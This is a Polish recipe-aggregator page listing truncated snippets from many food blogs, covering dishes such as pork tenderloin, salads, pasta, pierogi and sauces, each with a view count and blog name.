nieśmiałość i recytowały: Kto Ty jesteś ? Polak mały... Radość na ich twarzach po otrzymaniu w nagrodę smakołyków - BEZCENNE :) A było w czym wybierać. Nasze menu:   - Babka ziemniaczana z sosem grzybowym - Szarlotka polska - Pischinger - Gorąca czekolada - Tort czekoladowy - Łazanki - Bigos na gęsinie  Było smacznie i wesoło, humory dopisywały, apetyty też :) Dziękuję Urzędowi Miasta Opola za możliwość czynnego uczestnictwa

Kuchnia w opałach
POLĘDWICZKI WIEPRZOWE Z OLEJEM RZEPAKOWYM, WIŚNIÓWKĄ I ŻURAWINĄ 155

złoty kolor. Gdy już mięso będzie podsmażone dodać żurawinę z wiśniówką, szalotkę i prawdziwki. Podlać delikatnie wodą i dusić na małym ogniu bez przykrycia, aby alkohol odparował i sos się zredukował. Całość doprawić do smaku pieprzem, solą i mieloną papryką. Można również dodać szczyptę chilli

Kuchnia w opałach
TUŃCZYKOWA SAŁATKA Z FASOLĄ 174

mała puszka fasoli białej (gotowanej na parze) mała puszka fasoli czerwonej (gotowanej na parze) mała puszka kukurydzy 1 jajko ugotowane na twardo 1 kiszony ogórek 1 puszka tuńczyka w sosie własnym 1 łyżeczka musztardy Dijon 1 łyżka majonezu sól  pieprz A jak to zrobić: Jajko pokroić w kostkę, a ogórka w pół talarki - przełożyć do miski. Dodać wszystkie pozostałe

Kuchnia w opałach
PIWNE NALEŚNIKI 137

dwóch stron. Miód delikatnie rozpuścić w garnuszku, dodać sok z cytryny i delikatnie podgrzać. Dodać kardamon i wymieszać. Naleśniki posmarować serkiem i złożyć w trójkąt, z wierzchu polać miodowym sosem

Kuchnia w opałach
ROLADKI Z PIERSI INDYKA Z BOCZKIEM 164

pozostałego po smażeniu płynu dodać mąkę i dokładnie wymieszać. Zalać całość bulionem i doprawić do smaku solą, pieprzem i papryką. Na koniec dodać śmietankę, wymieszać i tak przygotowanym sosem zalać roladki. Piec 20-25 minut w nagrzanym piekarniku 180 stopni (pod przykryciem

Kuchnia w opałach
SAŁATKA GYROS 182

ogórki, warstwę majonezu wymieszaną z jogurtem, pokrojoną w kostkę paprykę, kukurydzę i  kapustę. Sałatkę nabiera się od samego spodu, tak aby wszystkie składniki miały możliwość połączenia się z sosem

Kuchnia w opałach
LODY MALINOWE Z BITEJ ŚMIETANY 121

zabarwi całe lody), miąższ z wanilii i wszystko dokładnie wymieszać. Przełożyć do pojemnika i wstawić do zamrażarki na minimum 5-6 godzin. Swoje lody podałam z rurkami waflowymi, oraz sosem malinowym. Polecam na poprawę nastroju i nie tylko

Kuchnia w opałach
SZPARAGI POD PIERZYNKĄ Z BESZAMELU 122

mąką smażyć 2-3 minuty na jasno złoty kolor, aż zacznie skwierczeć. Dodać mleko i przyprawy. Gotować przez 15 minut na małym ogniu, mieszając rózgą. Tak przygotowanym sosem zalać szparagi, ułożyć plasterki pomidorków i piec 15-20 minut w piekarniku nagrzanym do 180 stopni

Kuchnia w opałach
POLĘDWICZKI WIEPRZOWE W SOSIE KURKOWYM 220

podlać całość bulionem lub wodą. Dodać pokrojoną w piórka szalotkę i umyte oraz pokrojone kurki. Całość dusić pod przykryciem około 30 minut od czasu do czasu mieszając. Pod koniec sos zaprawić śmietaną i ewentualnie doprawić solą i pieprzem

Kuchnia w opałach
PIECZONE FIGI Z ROZMARYNEM 141

pieca), polać miodem wymieszanym z octem. Gdy miód na patelni zacznie lekko skwierczeć, dodać masło, kilka listków rozmarynu i skórkę z cytryny. Smażyć wszystko kilka minut, polewając figi sosem. Wstawić do piekarnika (jeśli nie mamy metalowej patelni, przełożyć wszystko do żaroodpornego naczynia), piec 10 minut w temperaturze 150 stopni. Figi można podać z Ricottą

Kuchnia w opałach
PAPPARDELLE Z BRUNATNYMI PIECZARKAMI 148

boczek, aby wytopić z niego tłuszcz. Następnie dodać masło, posiekaną drobno szalotkę i czosnek, oraz pokrojone grzyby. Smażymy do momentu, aż pieczarki zmiękną. Wlewamy śmietankę i mieszając czekamy, aż sos zgęstnieje, wtedy dodajemy makaron i całość dokładnie mieszamy doprawiając do smaku solą i pieprzem. Wykładamy na talerz i posypujemy szczypiorkiem i parmezanem

Kuchnia w opałach
BRUSCHETTA Z FASOLĄ I CHORIZO 160

się wszystkie składniki dobrze połączą i zagrzeją. W między czasie kromki bagietki skropić oliwą i zrumienić na rozgrzanej patelni z dwóch stron. Na tak przygotowane pieczywo, nakładać fasolowy (gęsty) sos. Bruschetty podawać posypane posiekanym szczypiorkiem

Kuchnia w opałach
CIABATTA Z POMIDORAMI I TUŃCZYKIEM 330

ciabatta. SKŁADNIKI: 1 ciabatta (moja była z oliwkami) 1/2 dużego pomidora 1 cebula dymka razem ze szczypiorkiem 1 ząbek czosnku 1 łyżka tartej mozzarelli 1 mała puszka tuńczyka w sosie własnym świeże oregano sól  pieprz  pieprz kolorowy oliwa z oliwek A jak to zrobić: Pomidora pokroić w drobną kostkę, dodać posiekaną dymkę, szczypiorek, oregano i czosnek. Wsypać mozzarellę

Kuchnia w opałach
Sałatki i surówki 617

Sałatka z pora Przystawka z serem korycińskim i gruszką Sałatka brokułowa z sosem czosnkowym Sałatka makaronowa Sałatka warzywna z tortelini Rukola z gruszką i granatem Jajka z farszem z bobu Sałatka z tortellini tricolore Sałatka z wędzonym kurczakiem Bruschetta z pomidorami Sałatka świąteczna z śledziem i buraczkami Sałatka makaronowa Sałatka z tuńczyka z groszkiem Sałatka jajeczna z kukurydzą chili Sałatka

Ala piecze i gotuje
Makarony 247

Ravioli z pieczarkami Spaghetti z cukinią Spaghetti z truskawkami Pulpety z makaronem Spaghetti z klopsikami Makaron z szpinakiem i kurczakiem Zapiekanka z makaronem Sałatka makaronowa Spaghetti carbonara Makaron z sosem dyniowym Pieczeń drobiowa z makaronem Zapiekanka mięsno makaronowa Risotto z grzybami leśnymi Sałatka z tortellini Spaghetti carbonara

Ala piecze i gotuje
Czosnkowe krewetki 233

pół minucie kładziemy krewetki. Smażymy po 2-3 minuty z każdej strony, najlepiej rozkładając je razem z czosnkiem na skraju patelni, żeby czosnek się nie spalił. Podajemy z sosem na bazie majonezu (majonez + sok z cytryny + ulubione przyprawy

Zakręcony Widelec
Twarogowe placuszki z ryżem, papryką i porem 361

gęsta, dość ,,zbita". Usmażyć na niewielkiej ilości oleju na złoty kolor (po kilka minut z każdej strony), kładąc po 1,5 łyżki masy. Gotoweplacuszki można podać z sałatką i sosem, np. jogurtowo czosnkowym (jogurt+zmiażdżony czosnek+sól i pieprz), ale... równie dobrze smakują same w sobie. ;)  Smacznego

Kuchnia Ellie
Klopsiki drobiowe w sosie śmietanowo-koperkowym 4282

Dziś danie które uwielbiam moja córeczka - mięsne kuleczki czyli klopsiki drobiowe w sosie śmietanowym z koperkiem. Klopsiki podałam z białym ryżem z warzywami Piątnica. składniki: 500 g piersi z kurczaka 1,5 łyżki kaszy manny 3/4 szklanki wody sól,pieprz 3 łyżki posiekanego koperku 2 łyżki mąki 5 łyżek kwaśnej śmietany 18 % ryż z warzywami Piątnica Pierś z kurczaka grubo

Monia miesza i gotuje
Makaron z orzechowym pesto i suszonymi pomidorami. 253

czym dodaj drobno posiekane suszone pomidory. Wszystkie składniki pesto umieść w wysokim naczyniu i zmiksuj na gładką pastę. Gdy makaron będzie al dente, odcedź go i podawaj z sosem i orzechowym pesto. SMACZNEGO

Kredowe Menu
Zaskocz bliskich 242

pokrusz na drobno ser pleśniowy z niebieską pleśnią. Rukole po umyciu i osuszeniu nałóż na przygotowany talerz, nałóż kilka plastrów gruszki, pomidory suszone, posyp serem i polej odrobiną sosu [3 łyżki oliwy bądź dobrego oleju, ocet balsamiczny, łyżeczka miodu, ząbek czosnku, gruboziarnista sól (sól najpierw rozpuść z octem, następnie dodaj resztę składników - inaczej sól się nie rozpuści) wymieszaj wszystko

Gotuj z Natką
Sałatka z makaronu orkiszowego nadziana zdrowiem 341

zimno. Jego wysoką jakość zapewnia stała kontrola nad procesem tłoczenia. Olej ten ma złocisty kolor i charakterystyczny, lekko goryczkowy smak, dzięki czemu stanowi doskonały dodatek do sałatek, surówek, dipów, sosów, past serowych, gotowanych warzyw i innych potraw na zimno. Składniki fusilli czyli świderki FABIJAŃSCY olej lniany  OLEOFARM filtrowana woda- ja używam dzbanka DAFI pieprz ziołowy  Skworcu ser koryciński

Z Kuchni Do Kuchni
Zalewajka mojej babci. 600

Dziś dzień Babci, dlatego przedstawiam Wam dziś przepisy moich ukochanych Babć. 1. Na zalewajkę 2. Rybę w sosie pomidorowym 3. Ciasto drożdżowe     Moim ukochanym Babciom, Babciom mojego syna :) i wszystkim Babciom na świecie składam najserdeczniejsze życzenia. Dużo zdrowia i radości.      Zalewajka Składniki: 200 g boczku wędzonego (babcia Miecia używa słoniny :) ) 250 ml zakwasu na barszcz

Miksturownik
Ryba w sosie pomidorowym, czyli sałatka wg Babci Jańci 397

doprawiamy solą i pieprzem. Rybę kroimy na 3 cm kawałki, maczamy w powstałym cieście i smażymy na złoty kolor. Wystudzoną rybę układamy warstwami w salaterce, polewając każdą warstwę sosem. Podajemy na zimno. Smacznego

Miksturownik
CO MOŻE USŁYSZEĆ WEGETARIANIN (LUB SEMI-WEGETARIANIN)? 238

Wegetarianie nie jedzą mięsa ani ryb, a Ty jesz. Tak, bo jestem semilaktoowowegetarianką (ha, spróbuj to wymówić szybko!), a więc nie jem tylko mięsa, żelatyny, mięsnych bulionów, smalcu czy sosów na bazie mięsnego tłuszczu. Spożywam pochodzące od mięsa pokarmy: jaja, miód, nabiał (laktoowowegetarianizm) plus rybę przekąszę czasami (semiwegetarianizm). Według zafiksowanych na punkcie swoich poglądów osób, nie mogę się nazywać wegetarianką

W kuchni Karmel-itki
Aksamitne pappardelle z białymi szparagami i łososiem 298

jogurt, rozdrobione kawałki łososia wędzonego, sól, świeżo mielony pieprz, startą gałkę muszkatołową, koperek, kapary (opcjonalnie) i podgotowane szparagi. Wszystko razem podgrzewamy kilka minut na małym ogniu. Makaron podajemy z sosem

OstryKęs
Tarta jagodowo-malinowa 312

Była malinowa. Była jagodowa. Naszedł czas na malinowo-jagodową. To prawdziwa królowa wśród tart. Maślany smak ciasta, śmietankowy sos i pyszne świeże sezonowe owoce… Niebo w gębie! Zapraszamy! SKŁADNIKI Ciasto spód : 300g mąki pszennej Tortowej 450 1 schłodzone masło (200 gram) 120 gram cukru Masa do polania owoców: 4 żółtka 3 łyżki cukru 200 ml śmietanki 30 % 300 gram

OstryKęs
Kurczak w skorupie z masy solnej pieczony w żarze w ognisku 359

grubość około 1 cm. Na rozwałkowanym cieście układamy kurę, zwijamy brzegi ciasta i bardzo dokładnie sklejamy. Pakunek powinien być całkowicie szczelny tak by mięso mogło piec się we własnym sosie. Kurczaki w soli umieszczamy na żarze i pieczemy 3 godziny. Kula którą wyjmiemy z żaru będzie czarna i twarda. Uwaga. Otwierając pakunek należy użyć rękawic żaroodpornych i uważać ponieważ uwolni

OstryKęs
Kaszanka zapiekana z cebulą w cieście francuskim 267

niej kaszankę (wyjmujemy wcześniej z lodówki by miała temperaturę pokojową). Zwijamy ciasto tak by powstały trójkąty. Wstawiamy kaszanki do piekarnika na 15-20 minut aż będą rumiane. Sos: Na patelni bez tłuszczu, na małym ogniu podgrzewam musztardy i śmietany aż zgęstnieją. Podajemy z ogórkami małosolnymi mamy Eli . Smacznego

OstryKęs
Makaron z chorizo i 3 rodzajami sera 377

czosnek i natkę pietruszki. Dodajemy pieprz i paprykę pimento. Na patelnię bezpośrednio z garnka przekładamy ugotowany al dente makaron (zostawiamy 3 łyżki wody z gotowania na wypadek konieczności rozcieńczenia sosu). Dodajemy wszystkie 3 sery i mieszamy. Przekładamy makaron na talerze. Posypujemy natką pietruszki, pieprzem i parmezanem

OstryKęs
Krewetki w gorącej oliwie z chilli 424

które szybko się rozpuści. Całość posypujemy świeżą, posiekaną kolendrą. Krewetki podajemy z bagietką. Do tłuszczu pozostałego na patelni możemy dodać pół kieliszka białego wytrawnego wina i zredukować na dodatkowy sos do krewetek

OstryKęs
Kurczak tikka masala 339

końca pochodzący z Indii, ale dla mnie to mało ważne. Ja po porostu uwielbiam ten smak mieszanki przypraw masala w połączeniu z kurczakiem marynowanym w jogurcie. Dodatkowo sos pomidorowy, który ja w swojej wersji wzbogaciłam (również w kalorie) serkiem mascarpone. Nie jest to trudne danie, jednak warto przygotować kurczaka kilka godzin przez gotowaniem (zamarynować w przyprawach i jogurcie). W wersji

Wypieki i Rumieńce
Bułeczki gryczane z dynią i czarną porzeczką z soku jagodowego. 207

uzyskuję ją w ten sposób: suszone owoce namaczam przez dobę w syropie z jagód, przelewam przez sito i zostawiam do ponownego wysuszenia. Smak, aromat obłędny. Można dodawać do sosów, wypieków; co kto lubi. Do 1/3 porcji maślanki wkruszamy drożdże i posypujemy cukrem. Mieszamy do jednolitej konsystencji odczekujemy pół godziny, by drożdże zaczęły pracować. Do, najlepiej szklanego naczynia, przesypujemy obie mąki

BaRepas
Kurczak w sosie miodowo — musztardowym 345

ziarnistą (w trakcie pieczenia ziarenka robią się chrupkie i niebiańsko pyszne), ale może być zwykła stołowa lub sarepska, jeśli lubimy ostrzejsze smaki to polecam dijon. Nowy post Kurczak w sosie miodowo — musztardowym pojawił się w Wypieki i Rumieńce

Wypieki i Rumieńce
Wygrana w konkursie na danie FIT 210

najlepsze w następujących kategoriach: - ŚNIADANIE - za Dietetyczne jajka faszerowane kurczakiem i sałatą (Piotr Straga współautora bloga "Damsko-męskie spojrzenie na kuchnię") - OBIAD - za  Łososia w pomarańczowo-imbirowym sosie (Anna Wlezień autorka bloga „Życie od kuchni") - KOLACJA - za Dietetyczną lasagne z piersią z kurczaka (Iwona z bloga "Blogotowanie z pasją") PS. Relacja ze zdjęciami, szczegółami pobytu i moimi wrażeniami już

Pasja Smaku
PIECZARKOWA Z BRĄZOWYCH PIECZAREK 227

poznałam ich smak i aromat zachwycają mnie bardziej niż te tradycyjne białe. Są trochę  twardsze i pachną zdecydowanie intensywniej. Smakiem przypominają grzyby leśne. Dodaję je do wielu mięs, sosów,  podsmażone z cebulką podaję jako dodatek do schabowego albo gotuję z nich pyszną, aromatyczną zupę

Walijskie Pichcenie
Pierogi z fetą, pomidorami i oliwkami 355

Aromatyczne pierogi z suszonymi pomidorami, oliwkami i serem feta. Farsz zamknięty w delikatnym cieście drożdżowym. Polecam np. z sosem koperkowo-czosnkowym na bazie jogurtu. Z podanych poniżej składników powstanie około 4o średniej wielkości pierogów. Ciasto: ok. 0,7 kg mąki pszennej 20 g drożdży pół szklanki mleka 2 łyżeczki cukru 3 łyżeczki soli szklanka letniej wody 2 łyżki oliwy

Bullio
Sałatka makaronowa z serem pleśniowym 196

akurat je miałam pęczek świeżej bazylii 500 g pomidorków koktajlowych 2 ząbki czosnku przeciśnięte przez praskę opakowanie pikantnych krakersów 2 opakowania sera pleśniowego (z niebieską pleśnią np. Lazur) sos do sałatek włoski (np. knorr), sól, pieprz Wykonanie: Makaron ugotować, a krakersy pokruszyć. Bazylię porwać lub pokroić na paseczki (krojona bazylia szybko ciemnieje). Pomidorki przekroić na pół, zaś ser pokruszyć. Sosik

IMPRESJA SMAKU
Letnia sałatka z cukinii z jajkiem 5:2 295

cukinię i marchewkę, na nie kładziemy jajko i dodajemy oliwki. Czosnek przeciskamy przez praskę i dodajemy do jogurtu, którego doprawiamy do smaku solą i pieprzem. Warzywa na talerzu polewamy sosem jogurtowym i posypujemy szczypiorkiem. Smacznego OBIADOKOLACJA: 150 g świeżego łososia 200 g brokułów Wykonanie: Łososia solimy i wkładamy na 10 - 15 min. do piekarnika nagrzanego

IMPRESJA SMAKU
Nuggetsy z kurczaka z domową salsą pomidorową 304

Taki domowy fast food wszystkich zadowoli w weekendowe popołudnie. Zamiast pikantnej salsy można podać sos czosnkowy przepis tutaj  (klik)  Aby zmniejszyć ilość tłuszczu a tym samym nuggetsy nie były tak tuczące można je upiec w piekarniku. Składniki: 4 ćwiartki z kurczaka lub 4 piersi z kurczaka przyprawa do mięsa (np. Delicat) 1/4-2 łyżeczek chili (opcjonalnie) w zależności

IMPRESJA SMAKU
Panierowane boczniaki ala schabowe 195

większy lub mniejszy apetyt na grzybki. Polecam ten przepis dla wszystkich amatorów panierowanych grzybów. Szybki, prosty obiad, w sam raz na bezmięsny piątek:-) Jako dodatek sprawdzi się pikantno-słodki sos chili. Składniki: boczniaki 1-2 jajka 1 łyżka mleka bułka tarta sól, pieprz Wykonanie: Boczniaki myjemy i odcinamy od kapeluszy nóżki (bo są twarde) Kapelusze doprawiamy solą i pieprzem. Jajka

IMPRESJA SMAKU
Sałatka jarzynowa z dodatkiem czarnej fasoli 253

konkretnie zadziała...Dodałam zielonej natki pietruszki i....bardzo pyszna gotowa sałatka o czosnkowej nutce wylądowała w lodóweczce aby się pięknie przegryzć! Czarny groch w połączeniu z warzywami i sosem czosnkowym nabrał wyjątkowego charakteru! Smacznego

Z Kuchni Do Kuchni
Zupa misz-masz z nutką orientu 214

ziela angielskie łodyga trawy cytrynowej łodyżki świeżej kolendry Zupa: 2 pietruszki pół selera 4 marchewki 300 g dyni kilka pieczarek zielona fasolka szparagowa skórka otarta z cytryny sos rybny do smaku kasza jaglana pasta miso Wykonanie: W pierwszej kolejności przygotowujemy wywar. Ja wykorzystałam duży garnek (ok 8 l), ale oczywiście możecie użyć mniejszego naczynia. Do garnka wkładamy mięso, np. korpus

Taste Of My Day
Domowy McRoyal jak z McDonald's 424

mąki pszennej 1,5 łyżeczki soli jajko   odrobina mleka (do posmarowania bułeczek) sezam do posypania Burgery: 500 g wołowiny cebula 2 ząbki czosnku łyżka musztardy łyżeczka sosu Worcester (ewentualnie Maggi) łyżeczka zimnej wody 2 małe jajka sól, pieprz słodka papryka w proszku gorczyca olej (do smażenia) Dodatkowo: ok. 2-3 górki konserwowe 1-2 cebule ok. 150 g plasterków

Słodka Strona
drobiowe mielone nadziane ćwikłą i z kaszą gryczaną na obiad... 249

każdej strony rumiane kotlety, wlać 1 szklankę wody i dusić pod przykryciem na małym ogniu z 20 minut, drugą szklankę wody wymieszać z mąką, śmietaną 12% i mieszając zagęścić sos podać z ugotowaną kaszą gryczaną i resztą ćwikły...............SMACZNEGO!!! - smakuje i na obiad i na zimno do chleba

W Mojej Kuchni Lubię
Szynka Pieczona na Kanapki i Nie Tylko! 632

było naszpikowane. Nasza szynka na pewno nie zrobi się śliska na drugi dzień. Poza tym można ją pokroić dzieciom na kanapki lub pokroić w grube plastry i podać z sosem na obiad. Zapraszam! Każdy czerwony wyraz w tym poście jest linkiem, który przekieruje Cię na odpowiadającą znaczeniu stronę, przepis lub sklep gdzie można nabyć produkt. Szynka: 1100 g szynki wieprzowej

Blondynka Gotuje
NALEŚNIKI ZE SZPINAKIEM I IMBIREM 211

składnikami i duszę parę minut.      Na usmażone naleśniki nakładam farsz i zawijam. Naleśniki można jeść na ciepło jak i na zimno, dobrze komponują się z sosem czosnkowym

Zdrowo i kolorowo
KOTLETY SOJOWE W NOWEJ WERSJI 223

Wszystko razem duszę przez parę minut, na bardzo małym ogniu pod przykrywką. I gotowe!!      Moja wersja to kotlety sojowe z warzywami z kaszą gryczaną polaną sosem pomidorowym i mixem sałat. Równie dobrze może to być samodzielne danie :) SMACZNEGO:)   PS. Obiadek był jedzony  na tarasie

Zdrowo i kolorowo
Sałatka z mozzarelli z karmelizowaną gruszką i pesto z buraka 234

Gruszkę obrać, pokroić w plastry (ok. 0,5 cm), zagotować z winem, octem winnym, 2 łyżkami syropu z agawy, przeciętymi na pół papryczkami i kurkumą. Gotować 5 minut aż sos zgęstnieje. Buraki obrać, pokroić w mniejsze kawałki, zmiksować razem z pozostałymi składnikami pesto, doprawić do smaku. Na talerzu położyć porcję pesto z buraczków, kilka plastrów karmelizowanej gruszki i mozzarellę

SzczyptaSmaQ
Warzywny misz masz z czerwoną pastą curry 190

zmięknie. Dodać ziemniaki, brokuły i pastę curry. Smażyć 2 minuty. Dodać pomidory, wodę i cieciorkę gotować kolejne 5 minut.  Jeśli ziemniaki się rozpadają to nawet dobrze, bo zagęszczą sos. Można specjalnie część rozgnieść widelcem. Podawać z ryżem i kleksem śmietany

W kuchni wieczorem
Makaronowe muffiny pizzowe 615

Były muffiny jaglane, więc tym razem czas na coś nowego - muffiny makaronowe. Absolutnie niefotogeniczne, ale... pyszne! Prawie jak pizza :) - jest ostry sos pomidorowy, cebula, ser, są także i pieczarki. To wszystko w połączeniu z makaronem w postaci mini kokardek. Całość zapiekana w formach do muffinek, niczym małe zapiekanki. Ciekawy pomysł na imprezową przekąskę. ;) Składniki (na 10 muffinek) : - 100 g bardzo

Kuchnia Ellie
Pierogi z pieca ! PYCHOTA ;-) 753

ułożeniu wszystkich pierogów na blasze, smaruję je żółtkiem i posypuję koperkiem. Do rozgrzanego pieca 180 stopni wsuwam pierożki na 30 minut do uzyskania pięknej, rumianej skórki. Można podawać z sosem pomidorowym, czosnkowym bądź pyszną surówką. Życzę smacznego

Życie na widelcu
Traktat solny - czyli moja rozprawa o soli 209

konserwach rybnych oraz gazowanych napojach występuje benzoesan sodu (E 211), w wędlinach: askorbinian sodu (E 301), mleczan sodu (E 325) i glutaminian sodu (E 621), a w zupach i sosach sproszkowanych- inozymian sodu (E 631). Uważajmy zatem by nie solić np. pomidora, kładąc go na kanapkę z serkiem topionym oraz wędliną

Życie na widelcu
Gulasz pomidorowo - paprykowy z chorizo po meksykańsku. 220

pieprzymy, podlewamy winem. Dodajemy fasolę i kukurydzę, podsmażamy chwilkę i zalewamy pomidorami. Podgotowujemy kilka minut pod przykryciem. Na patelni, pokrojone w plastry, podsmażamy bez tłuszczu chorizo. Dodajemy do sosu. Gotujemy pod przykryciem na wolnym ogniu do zgęstnienia. Smacznego

BaRepas
Domowy Tender jak z KFC 897

wersja znanego wszystkim Longera z KFC Charakteryzuje go podłużna bułeczka (bez sezamu, jak w przypadku Longera), soczysta, łagodna polędwiczka (Longer posiada pikantnego kurczaka) oraz sałata. Ketchup zastąpiony został delikatnym sosem majonezowym. Całość tworzy smakowitą przekąskę, która zasmakuje niejednemu fanowi fast foodów. Domowe Tender'y możemy przygotować samodzielnie w domu. Proces ich powstawania nie jest bardzo skomplikowany, a z pewnością uradujemy

Słodka Strona
Duszone poliki wołowe 222

czasie dodajemy tyle wody, żeby pokryła mięso i ponownie umieszczamy w piekarniku na około 2 godziny. Mięso jest gotowe, gdy dosłownie się rozpada. Przekładamy na talerze, polewamy powstałym sosem i podajemy np. z pieczywem. Smacznego

My Culinary Art
Dekorowanie kawy, inspiracje z Tajlandii 176

jeziorem, w  małym miasteczku Phayao na północy Tajlandii, można trafić do uroczej kawiarenki serwującej chińskie herbaty i pyszną kawę. Zamawiając late w gratisie dostaje się przepiękne dekoracje, wykonywane sosami smakowymi i wykałaczką. Nie jeden barista może pozazdrościć talentu :) Czas przygotowania: 3 minuty po wcześniejszym długim treningu

SzczyptaSmaQ
Ratatouille 219

Lekkie warzywne danie z Prowansji. Łatwa w przygotowaniu jednogarnkowa potrawa, której podstawę stanowią świeże kolorowe warzywa duszone we własnym sosie. Sprawdza się jako samodzielne danie główne (z ryżem lub bagietką) lub dodatek do mięsa, a nawet jako ciepła przystawka.  Składniki: bakłażan cukinia czerwona papryka żółta papryka 3 pomidory cebula 2 ząbki czosnku sól, pieprz świeżo mielone 2 łyżki ziół

wyzwania kuchenne
Kurczak chrzanowy na puree pomarańczowym 195

godz. do lodówki. Piekarnik nastawiamy na 170° C z termoobiegiem. Podudzia polewamy 50 ml. oliwy  i pieczemy ok. 90 min. Podczas pieczenia mięso polewamy powstałym sosem lub je w nim obtaczamy (wystarczy 2 -3 razy w czasie pieczenia). Ziemniaki, marchewki obieramy, płuczemy i kroimy  - ziemniaki w kostkę, a marchewki w plasterki. Warzywa przekładamy do rondelka, dolewamy

Moniki Smakołyki
Karkówka 438

tylko pilnować żeby się dobrze smażyło i jeśli potrzeba lekko podlewać wodą ewentualnie bulionem i następnie poddusić. Jako dodatek można dodać ziemniaki gotowane ze smażoną cebulką albo frytki z sosem czosnkowym i ketchupem. Składniki: 4 plastry karkówki (ok 0.5kg?:), 4 duże cebule, przyprawa do Karkówki firmy Prymat, oliwa Przygotowanie: 1. Karkówkę kroimy w plastry. 2. Cebulę kroimy w piórka

Kuchnia Pełna Pasji
Zapiekanka ziemniaczana 362

oraz wykładamy oliwki. Dodajemy małą śmietanę, doprawiamy solą, pieprzem, dodajemy kostkę rosołową oraz zioła prowansalskie. 3. Ziemniaki kroimy w plasterki, układamy warstwowo w naczyniu żaroodpornym ziemniaki na zmianę z sosem z patelni. Wkładamy do rozgrzanego piekarnika, na ok 20 min. Następnie dodajemy ser żółty starty na tarce lub mozarellę. Wkładamy ponownie do piekarnika, aż ser się rozpuści:) Smacznego

Kuchnia Pełna Pasji
Sakiewki z ciasta francuskiego 52787

tarce. Wszystkie składniki wykładamy na ciasto, doprawiamy oregano. 5. Włączamy piekarnik, rozgrzewamy. Sakiewki pieczemy w temperaturze 220*C nie dłużej niż 15 minut:)  Taką przekąskę możemy serwować z sosem czosnkowym

Kuchnia Pełna Pasji
Kąski z tortiili 911

Placki pszenne tortilla są niezwykle wdzięcznym "materiałem wyjsciowym" dla wielu potraw. W jednym z poprzednich przepisów proponowałam je z sosem pomidorowym i mięsem mielonym, a także jako "wrap" z kurczakiem i warzywami.  Dzisiaj chciałam Wam zaproponować je jako mini "kanapeczki". Każdy z nas może zrobić nadzienie do tortilli takie jakie sam najbardziej lubi, dopasowane indywidualnie do naszych aktualnych zachcianek

Kuchnia Pełna Pasji
Tagliatelle al nero di sepia w sosie porowym z trzema serami 246

sery intensywnie mieszając do momentu uzyskania jednolitej masy. Wlewamy śmietankę, mieszamy, pieprzymy i dodajemy oregano. Ugotowany makaron wrzucamy do rondla podrzucając nim na okrągło, ale w poziomie, tak by sos oplótł jego powierzchnię. Smacznego

BaRepas
Pomidory z cebulą 177

Całość gotujemy na wolnym ogniu do uzyskania gęstej konsystencji, pod koniec dodajemy sól, świeżo zmielony pieprz oraz cukier. Przekładamy do słoiczków i pasteryzujemy 10 minut. W ten sposób przygotowany sos można podawać do gołąbków, ryby po grecku,  spaghetti, ale najbardziej rewelacyjna jest jajecznica na pomidorach. Smacznego

kgwjanczewo
Sałatka brokułowa 795

Wszystko zostawić do ochłodnięcia. Dep przygotować w osobnym garnuszku/miseczce (kto jak woli), łącząc jogurt, majonez, musztardę, zgnieciony czosnek, pieprz i sól. Do dużej miski wsypać wszystkie składniki, polać przygotowanym sosem, delikatnie wymieszać. Ewentualnie doprawić.   W drugiej wersji zwiększam ilość składników i dodaję 3-4 pomidory. Czyli: 2 brokuły, 6 jajek, duża puszka kukurydzy, 4 pomidory, makaron uszka 3/4 opakowania

Passions hobbies life
Łosoś z piekarnika 195

Mój dzisiejszy obiad: filet z łososia, przypiekane ziemniaki, sałata lodowa z koperkiem i sosem winegret. Oczywiście palce lizać. Jeżeli chodzi o ziemniaki, to przepis już zamieszczałam  w przepisie na dorsza w cytrynie. Porcja dla 4 osób. SKŁADNIKI: 2 filety z łososia 2 cytryny nieco masła i oliwy 2 ząbki czosnku przyprawy: pieprz cytrynowy, sól WYKONANIE: Przygotować marynatę (najlepiej

Passions hobbies life
Piersi z kurczaka w ziołach prowansalskich z pomidorami 239

Lekki i smaczny posiłek. Przygotowana w ten sposób pierś z kurczaka jest pyszna i soczysta. Moja propozycja podania: Kasza, na nią nałożona potrawka z kurczaka, do tego sałata z sosem winegret. Porcja dla 2 osób. SKŁADNIKI: 1 podwójna pierś z kurczaka 1 puszka pomidorów pokrojonych w kostkę pietruszka zioła prowansalskie oliwa do smaku: pieprz, sól WYKONANIE: Piersi z kurczaka umyć

Passions hobbies life
Śledzie w sosie pomidorowym /łagodne/ 203

Nadal jestem na diecie i nie wolno mi jeść cebuli i stosować ostrych przypraw, wymyśliłam więc wersję śledzi w sosie pomidorowym łagodną (bez cebuli i pieprzu). Jak się okazało, takie śledziki też są bardzo pyszne. SKŁADNIKI 6 śledzi matiasów 3-4 łyżki przecieru pomidorowego 3 łyżki miodu pszczelego łyżeczka octu 2-3 łyżki oliwy 3 liście laurowe 4 ziarenka ziela

Passions hobbies life
Jaglana/ pomarańcze/ chia ! 224

przełóż do szklanki wraz z sokiem - dodaj nasionka chia i odstaw na 5 minut - daktyle około 4-5 sztuk zmiksuj z migdałami i łyżką lemon curd - jaglaną wymieszaj z sosem, dodaj pomarańcze z nasionkami chia! - pyszne!!! A jakie zdrowe! ;-))) Buuuuuziaki! Pięknego Dnia! Może wyjdzie słońce? ;-) SMACZNEGO! PS. PODAJ DALEJ

SMYKWKUCHNI
Łosoś w papilotach 296

ryba. A czemu w papilotach? Papiloty to koperty z papieru do pieczenia. Ryba pieczona w pergaminie częściowo piecze się na parze, a dzięki szczelnemu zamknięciu jednocześnie dusi się w sosie własnym. Każdy gość może dostać swoją porcję i otworzyć sam swoją paczuszkę już na talerzu – czując przy tym cały aromat, który normalnie by uciekł. Taka ryba jest zawsze soczysta

Poezja smaku
Giouvarlakia-cypryjskie klopsiki w sosie cytrynowym 154

Składniki: klopsy 600 g mielonej łopatki 1 pęczek świeżej mięty lub 2 łyżeczki suszonej 1 mała cebula 2 białka ¼ szklanki ryżu długoziarnistego Mąka pszenna do panierowania Sól pieprz czarny Sos 1,5 l bulionu z kurczaka 2 ziemniaki 2 żółtka 1 pęczek natki pietruszki Sok wyciśnięty z 2 cytryn 1 łyżeczka mąki kukurydzianej Wykonanie: Do miski wkładamy mięso, posiekaną miętę

O kuchni z uczuciem
Schab z cebulą 141

